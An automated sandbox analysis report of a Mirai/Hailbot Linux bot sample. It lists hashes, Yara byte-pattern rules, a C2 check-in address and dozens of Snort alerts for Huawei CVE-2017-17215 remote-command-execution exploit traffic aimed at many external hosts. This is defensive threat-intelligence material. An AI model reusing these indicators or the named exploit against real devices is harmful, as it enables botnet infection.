Edit tour

Linux Analysis Report
skid.x86

Overview

General Information

Sample name:	skid.x86
Analysis ID:	1378454
MD5:	408ce10a59af6209b3b26c9418e991d3
SHA1:	558457ed45060e37bec62b492b7441bdfbb82257
SHA256:	5436825f522307f3cd2202e563df48a64b4ae0291bb03afc10d520eac55ee6a2
Infos:

Detection

Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Sample reads /proc/mounts (often used for finding a writable filesystem)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Yara signature match

Classification

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1378454
Start date and time:	2024-01-22 03:58:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 16.04 x64 (Kernel 4.4.0-116, Firefox 88.0, Document Viewer 3.18.2, LibreOffice 5.1.6.2, OpenJDK 1.8.0_171)
Analysis Mode:	default
Sample name:	skid.x86
Detection:	MAL
Classification:	mal88.troj.linX86@0/0@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/skid.x86
PID:	4687
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	hail china mainland
Standard Error:

Process Tree

system is lnxubuntu1

skid.x86 (PID: 4687, Parent: 4611, MD5: unknown) Arguments: /tmp/skid.x86

skid.x86 New Fork (PID: 4690, Parent: 4687)

skid.x86 New Fork (PID: 4691, Parent: 4687)

skid.x86 New Fork (PID: 4692, Parent: 4691)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
skid.x86	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
skid.x86	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x3fa0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
skid.x86	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x71c2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
skid.x86	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xaa59:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
skid.x86	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x9257:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
skid.x86	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x7192:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
4687.1.0000000008048000.0000000008059000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
4687.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x3fa0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
4687.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x71c2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
4687.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xaa59:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
4687.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x9257:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
4687.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x7192:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 1 entries

Snort Signatures

ET TROJAN Hailbot CnC Checkin - Source IP: 192.168.2.20 - Destination IP: 45.90.13.64

Timestamp:	192.168.2.2045.90.13.645585015582050066 01/22/24-03:59:20.672833
SID:	2050066
Source Port:	55850
Destination Port:	1558
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.247.29.8

Timestamp:	192.168.2.20156.247.29.841830372152829579 01/22/24-04:00:06.810197
SID:	2829579
Source Port:	41830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 154.194.173.193

Timestamp:	192.168.2.20154.194.173.19348506372152835222 01/22/24-04:00:09.555788
SID:	2835222
Source Port:	48506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.254.78.254

Timestamp:	192.168.2.20156.254.78.25451026372152835222 01/22/24-03:59:35.542498
SID:	2835222
Source Port:	51026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 41.44.208.165

Timestamp:	192.168.2.2041.44.208.16558538372152835222 01/22/24-03:59:53.723137
SID:	2835222
Source Port:	58538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 41.232.250.61

Timestamp:	192.168.2.2041.232.250.6149266372152835222 01/22/24-03:59:34.955340
SID:	2835222
Source Port:	49266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.224.10.150

Timestamp:	192.168.2.20156.224.10.15033968372152829579 01/22/24-03:59:25.850191
SID:	2829579
Source Port:	33968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 41.44.208.165

Timestamp:	192.168.2.2041.44.208.16558538372152829579 01/22/24-03:59:53.723137
SID:	2829579
Source Port:	58538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 92.94.107.197

Timestamp:	192.168.2.2092.94.107.19734828372152829579 01/22/24-03:59:33.456405
SID:	2829579
Source Port:	34828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.93.225.163

Timestamp:	192.168.2.20156.93.225.16346208372152829579 01/22/24-03:59:49.271918
SID:	2829579
Source Port:	46208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.247.25.231

Timestamp:	192.168.2.20156.247.25.23145096372152835222 01/22/24-04:00:02.854087
SID:	2835222
Source Port:	45096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.247.23.75

Timestamp:	192.168.2.20156.247.23.7560974372152829579 01/22/24-04:00:19.760686
SID:	2829579
Source Port:	60974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 37.72.214.22

Timestamp:	192.168.2.2037.72.214.2245318372152829579 01/22/24-03:59:46.936020
SID:	2829579
Source Port:	45318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 94.121.178.204

Timestamp:	192.168.2.2094.121.178.20459992372152835222 01/22/24-03:59:43.891616
SID:	2835222
Source Port:	59992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 45.42.90.229

Timestamp:	192.168.2.2045.42.90.22941242372152835222 01/22/24-03:59:33.443174
SID:	2835222
Source Port:	41242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 92.94.107.197

Timestamp:	192.168.2.2092.94.107.19734828372152835222 01/22/24-03:59:33.456405
SID:	2835222
Source Port:	34828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.247.27.103

Timestamp:	192.168.2.20156.247.27.10350748372152829579 01/22/24-04:00:16.403215
SID:	2829579
Source Port:	50748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 107.151.219.169

Timestamp:	192.168.2.20107.151.219.16937948372152829579 01/22/24-03:59:21.479994
SID:	2829579
Source Port:	37948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.247.29.8

Timestamp:	192.168.2.20156.247.29.841830372152835222 01/22/24-04:00:06.810197
SID:	2835222
Source Port:	41830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 154.206.168.40

Timestamp:	192.168.2.20154.206.168.4034352372152835222 01/22/24-04:00:15.721514
SID:	2835222
Source Port:	34352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.224.10.150

Timestamp:	192.168.2.20156.224.10.15033968372152835222 01/22/24-03:59:25.850191
SID:	2835222
Source Port:	33968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 197.246.47.2

Timestamp:	192.168.2.20197.246.47.242072372152835222 01/22/24-03:59:46.451428
SID:	2835222
Source Port:	42072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 197.234.61.88

Timestamp:	192.168.2.20197.234.61.8836376372152829579 01/22/24-04:00:02.748357
SID:	2829579
Source Port:	36376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 197.234.43.115

Timestamp:	192.168.2.20197.234.43.11541376372152829579 01/22/24-04:00:09.337520
SID:	2829579
Source Port:	41376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 154.206.168.40

Timestamp:	192.168.2.20154.206.168.4034352372152829579 01/22/24-04:00:15.721514
SID:	2829579
Source Port:	34352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.247.28.227

Timestamp:	192.168.2.20156.247.28.22750168372152829579 01/22/24-04:00:06.512968
SID:	2829579
Source Port:	50168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.247.22.217

Timestamp:	192.168.2.20156.247.22.21743878372152835222 01/22/24-04:00:15.264985
SID:	2835222
Source Port:	43878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 197.246.47.2

Timestamp:	192.168.2.20197.246.47.242072372152829579 01/22/24-03:59:46.451428
SID:	2829579
Source Port:	42072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 154.194.143.250

Timestamp:	192.168.2.20154.194.143.25054652372152829579 01/22/24-03:59:58.468908
SID:	2829579
Source Port:	54652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.247.25.231

Timestamp:	192.168.2.20156.247.25.23145096372152829579 01/22/24-04:00:02.854087
SID:	2829579
Source Port:	45096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 197.234.43.115

Timestamp:	192.168.2.20197.234.43.11541376372152835222 01/22/24-04:00:09.337520
SID:	2835222
Source Port:	41376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 107.151.219.169

Timestamp:	192.168.2.20107.151.219.16937948372152835222 01/22/24-03:59:21.479994
SID:	2835222
Source Port:	37948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 107.190.230.35

Timestamp:	192.168.2.20107.190.230.3553046372152829579 01/22/24-03:59:46.332126
SID:	2829579
Source Port:	53046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.241.13.65

Timestamp:	192.168.2.20156.241.13.6554372372152829579 01/22/24-04:00:16.403500
SID:	2829579
Source Port:	54372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 107.190.230.35

Timestamp:	192.168.2.20107.190.230.3553046372152835222 01/22/24-03:59:46.332126
SID:	2835222
Source Port:	53046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 41.232.250.61

Timestamp:	192.168.2.2041.232.250.6149266372152829579 01/22/24-03:59:34.955340
SID:	2829579
Source Port:	49266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.254.78.254

Timestamp:	192.168.2.20156.254.78.25451026372152829579 01/22/24-03:59:35.542498
SID:	2829579
Source Port:	51026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.241.13.65

Timestamp:	192.168.2.20156.241.13.6554372372152835222 01/22/24-04:00:16.403500
SID:	2835222
Source Port:	54372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.247.28.227

Timestamp:	192.168.2.20156.247.28.22750168372152835222 01/22/24-04:00:06.512968
SID:	2835222
Source Port:	50168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 94.121.178.204

Timestamp:	192.168.2.2094.121.178.20459992372152829579 01/22/24-03:59:43.891616
SID:	2829579
Source Port:	59992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 154.194.173.193

Timestamp:	192.168.2.20154.194.173.19348506372152829579 01/22/24-04:00:09.555788
SID:	2829579
Source Port:	48506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 45.42.90.229

Timestamp:	192.168.2.2045.42.90.22941242372152829579 01/22/24-03:59:33.443174
SID:	2829579
Source Port:	41242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 197.234.61.88

Timestamp:	192.168.2.20197.234.61.8836376372152835222 01/22/24-04:00:02.748357
SID:	2835222
Source Port:	36376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.247.23.75

Timestamp:	192.168.2.20156.247.23.7560974372152835222 01/22/24-04:00:19.760686
SID:	2835222
Source Port:	60974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.247.22.217

Timestamp:	192.168.2.20156.247.22.21743878372152829579 01/22/24-04:00:15.264985
SID:	2829579
Source Port:	43878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 37.72.214.22

Timestamp:	192.168.2.2037.72.214.2245318372152835222 01/22/24-03:59:46.936020
SID:	2835222
Source Port:	45318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 154.194.143.250

Timestamp:	192.168.2.20154.194.143.25054652372152835222 01/22/24-03:59:58.468908
SID:	2835222
Source Port:	54652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.93.225.163

Timestamp:	192.168.2.20156.93.225.16346208372152835222 01/22/24-03:59:49.271918
SID:	2835222
Source Port:	46208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.20 - Destination IP: 156.247.27.103

Timestamp:	192.168.2.20156.247.27.10350748372152835222 01/22/24-04:00:16.403215
SID:	2835222
Source Port:	50748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: skid.x86

Avira: detected

Machine Learning detection for sample

Source: skid.x86

Joe Sandbox ML: detected

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2050066 ET TROJAN Hailbot CnC Checkin 192.168.2.20:55850 -> 45.90.13.64:1558
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:37948 -> 107.151.219.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:37948 -> 107.151.219.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:33968 -> 156.224.10.150:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:33968 -> 156.224.10.150:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:41242 -> 45.42.90.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:41242 -> 45.42.90.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:34828 -> 92.94.107.197:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:34828 -> 92.94.107.197:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:49266 -> 41.232.250.61:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:49266 -> 41.232.250.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:51026 -> 156.254.78.254:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:51026 -> 156.254.78.254:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:59992 -> 94.121.178.204:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:59992 -> 94.121.178.204:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:53046 -> 107.190.230.35:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:53046 -> 107.190.230.35:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:42072 -> 197.246.47.2:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:42072 -> 197.246.47.2:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:45318 -> 37.72.214.22:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:45318 -> 37.72.214.22:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:46208 -> 156.93.225.163:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:46208 -> 156.93.225.163:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:58538 -> 41.44.208.165:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:58538 -> 41.44.208.165:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:54652 -> 154.194.143.250:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:54652 -> 154.194.143.250:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:36376 -> 197.234.61.88:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:36376 -> 197.234.61.88:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:45096 -> 156.247.25.231:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:45096 -> 156.247.25.231:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:50168 -> 156.247.28.227:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:50168 -> 156.247.28.227:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:41830 -> 156.247.29.8:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:41830 -> 156.247.29.8:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:41376 -> 197.234.43.115:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:41376 -> 197.234.43.115:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:48506 -> 154.194.173.193:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:48506 -> 154.194.173.193:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:43878 -> 156.247.22.217:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:43878 -> 156.247.22.217:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:34352 -> 154.206.168.40:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:34352 -> 154.206.168.40:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:50748 -> 156.247.27.103:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:50748 -> 156.247.27.103:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:54372 -> 156.241.13.65:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.20:54372 -> 156.241.13.65:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.20:60974 -> 156.247.23.75:37215
